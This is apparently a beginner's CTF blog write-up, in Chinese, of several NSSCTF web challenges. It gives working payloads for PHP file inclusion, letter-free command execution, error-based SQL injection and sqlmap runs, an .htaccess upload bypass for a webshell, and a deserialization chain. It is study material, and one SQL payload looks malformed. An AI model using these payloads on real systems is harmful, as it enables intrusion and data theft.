web从零开始day2

luyanpei

[SWPUCTF 2022 新生赛]ez_ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

get传递参数file,如果前三个字符是php进行文件包含

利用php为协议读取flag.php

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到

1
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=

解码

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";

直接php伪协议访问flag

1
/?file=php://filter/read=convert.base64-encode/resource=flag

得到

image-20250428153432109

解码flag

[SWPUCTF 2021 新生赛]hardrce

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

get传参接收wllm

黑名单禁用了[‘ ‘,’\t’,’\r’,’\n’,’+‘,’[‘,’^‘,’]‘,’"‘,’-‘,’$‘,’*‘,’?‘,’<‘,’>‘,’=‘,’`‘,]

image-20250428153652541

还正则禁用了所有字母,无字符rce

eval可以直接执行php代码

禁用了^不可以进行异或

利用php的取反(~)特性

生成无字符取反payload

1
2
3
4
5
6
7
8
9
<?php
#echo urlencode(~"system");#%8C%86%8C%8B%9A%92
#echo urlencode(~"ls");#%93%8C
#echo urlencode(~"cat");#%9C%9E%8B
#echo urlencode(~"flag");#%99%93%9E%98
echo urlencode(~"ls ../");#%93%8C%DF%D1%D1%D0
echo urlencode(~"ls ../../");#%93%8C%DF%D1%D1%D0%93%8C%DF%D1%D1%D0%D1%D1%D0
echo urlencode(~"ls ../../../");
?>

image-20250428155821649

最终执行命令测试flag再../../../

payload

1
http://node5.anna.nssctf.cn:29128/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D1%D1%D0%D1%D1%D0%D1%D1%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

image-20250428160139137

[SWPUCTF 2021 新生赛]error(报错注入)

报错注入

爆出数据库及相关信息

1
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

image-20250428161406143

爆出当前数据表信息

1
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

image-20250428161357631

爆user表字段信息

1
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'),0x7e),1) #

image-20250428161348462

爆test_db表字段信息

1
1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3#

爆数据库内容

1
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from users.password~)),1) #

image-20250428211926313

发现flag查看字段内容

1
1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))#

image-20250428212018025

内容不全,自己设定回显内容

1
1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,32) from test_tb)))#

但是孩子,这样简直是太累了,有sqlmap为何不用

image-20250428212202928

拼接NSSCTF{e2fb3e91-8520-48ef-bdbbf-d777358f7fbf}

sqlmap扫描一下

1
python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" --batch

image-20250428162254812

可以布尔盲注,报错注入,时间盲注

查看所有数据库

1
python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" --dbs --batch

image-20250428162351000

查看当前数据库:

1
python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" --current-db --batch

image-20250428162451635

查看当前数据库的数据表

1
python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" -D test_db --tables --batch

image-20250428162527506

查看指定数据库指定数据表的列名

1
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'),0x7e),1) #

[SWPUCTF 2021 新生赛]easyupload3.0

随便访问不存在的php文件发现

image-20250428204147545

Apache服务

htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

.htaccess文件内容SetHandler application/x-httpd-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错

这里随便访问一个不存在的页面造成Not Found报错,就可以看到服务器信息:

传一个.htaccess文件

注:这里不能加任何前缀

.htaccess文件内容如下:

1
2
3
4
5
<FilesMatch "jpg">

SetHandler application/x-httpd-php

</FilesMatch>

意思就是将jpg文件解析为php文件

上传成功之后再上传一个一句话木马的jpg就可以用蚂蚁剑连接成功

[LitCTF 2023]作业管理系统

image-20250428213238595

进去之后

image-20250428213901248

直接传🐎

蚂蚁剑连接,flag在根目录

注入点三:ftp 远程文件上传
这个注入点只是理论上,因为本人没有实践过。

首先需要一台能被公网访问的服务器,搭建好 ftp 服务,注意做好安全防护,比如禁止匿名登录啥的。

然后在 FTP 地址一栏填入自己服务器的 IP ,端口为 21 。用户名和密码填入自己设置的 ftp 用户名和密码。

点击远程上传,理论上可以得到这个上传的 zip 文件,估计是源码。

(理论,勿喷,不当请指出)

[SWPUCTF 2021 新生赛]pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

需要触发w44m类的getflag方法,需要满足$admin===’w44m’和$passwd===’08067’

w22m析构函数,在w22m实例销毁的时候会输出w00m的属性

w33m的string方法,如果w00m的属性是w33m实例,触发string方法,调用$this->w00m->{$this->w22m}();

设置$this->w22m为‘Getflag’,$this->w00m为w44m实例,从而调用w44m::Getflag

  • Title: web从零开始day2
  • Author: luyanpei
  • Created at : 2025-04-24 17:07:05
  • Updated at : 2025-04-29 19:34:53
  • Link: https://redefine.ohevan.com/2025/04/24/nssctf-web从零开始day2/
  • License: All Rights Reserved © luyanpei